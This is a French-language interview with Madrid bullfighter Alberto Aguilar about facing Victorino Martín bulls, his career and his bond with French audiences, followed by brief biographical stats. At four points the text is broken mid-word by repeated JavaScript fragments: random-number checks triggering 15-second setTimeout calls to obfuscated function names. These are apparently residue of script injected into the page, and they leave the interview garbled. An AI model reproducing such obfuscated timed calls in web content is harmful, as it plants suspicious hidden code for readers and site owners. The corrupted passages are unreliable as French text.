INTERVIEW AVEC ALBERTO AGUILAR

ALBERTO AGUILAR «La France est le pilier de ma carrière» Le courageux et tenace torero madrilène a trouvé sa place dans les ferias et c’est grace à un élevage auquel il est souvent associé : celui de Victorino Martin. Se considère-t-il lui-même comme un spécialiste de cet élevage si singulier ?

Je ne sais pas si l’on est spécialiste ou pas d’un élevage, mais j’ai déjà affronté pas mal de corridas de Victorino et sincèrement c’est un élevage, un encaste qui me convient et avec lequel j’ai eu des triomphes importants et avec lequel je me sens à l’aise, je me sens torero. Tout torero a un feeling particulier avec un élevage, moi c’est avec celui de Victorino.

Comment peut-on avoir du feeling avec cet élevage dont on dit et dont on sait que les toros sont parmi les plus compliqués à toréer ?  J’ai grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andi dans un élevage avec du bétail issu de Santillo et ça aide. Par ailleurs je suis allé souvent en tienta chez mon ami Alonso Moreno dont les toros ont beaucoup de points communs avec ceux de Victoriono, c’est à peu près la même chose. C’est un encaste très difficile, un toro très exigeant, qui ne te fait pas de cadeaux, mais quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and il met la tête et charge avec ce rythme, cette cadence si particulière au toro de Saltillo, je me régale. On n’arrive pas complètement à se relâcher, je pense que devant un toro on n’y parvient réellement jamais, mais on a la sensation de s’élever comme torero.

A quel moment de ta carrière tu te situes en ce moment ? Si je me contentais de ce que j’ai, je serais un ignorant. Je suis ravi de pouvoir faire ce métier mais ça ne me suffit pas. Je veux que les empresas, les aficionados me respectent, qu’on me reconnaisse dans la rue, qu’on m’admire. Je pense être un torero avec beaucoup de capacité, qui domine tous les toros qu’il affronte et ce n’est pas facile. Dans ce genre de corridas il y a des toros qui peuvent te rendre fou. J’ai les pieds sur terre. Ce que je souhaite le plus aujourd’hui c’est que les toros chargent enfin, ce qui ne m’est arrivé cette saison qu’à Madrid.

Tu t’es toujours entouré d’apoderados qui ont été matadors, c’était un souhait de ta part ? Sauf Antonio Vázquez, mon apoderado actuel, qui a voulu l’être mais n’y est pas arrivé. Ce n’était pas une volonté de ma part, plutôt des coïncidences.

Que représente la France pour toi ? C’est le pilier de ma carrière car j’y ai beaucoup toréé quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and j’étais novillero, elle m’a ouvert beaucoup de portes et comme matador ma carrière a été relancée avec l’opportunité que m’avait brindée Fernández Meca de toréer à Beaucaire. A partir de là on a de nouveau parlé de moi et j’ai pu percer, me positionner dans de nombreuses ferias, notamment en France. C’est une aficion qui me respecte, elle sait que je ne laisse rien derrière-moi quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and je m’habille de lumières. Elle connaît mon engagement. C’est un pays qui m’a fait tel que je suis comme torero.

Né le 23 avril 1986 à Madrid.

Alternative: 13 août 2006 à Miraflores de la Sierra.

Apoderado: Antonio et Fran Vázquez.

Temporada 2013: 32 corridas et 18 oreilles.

Temporada 2014 : 13 corridas et 4 oreilles

Les commentaires sont fermés.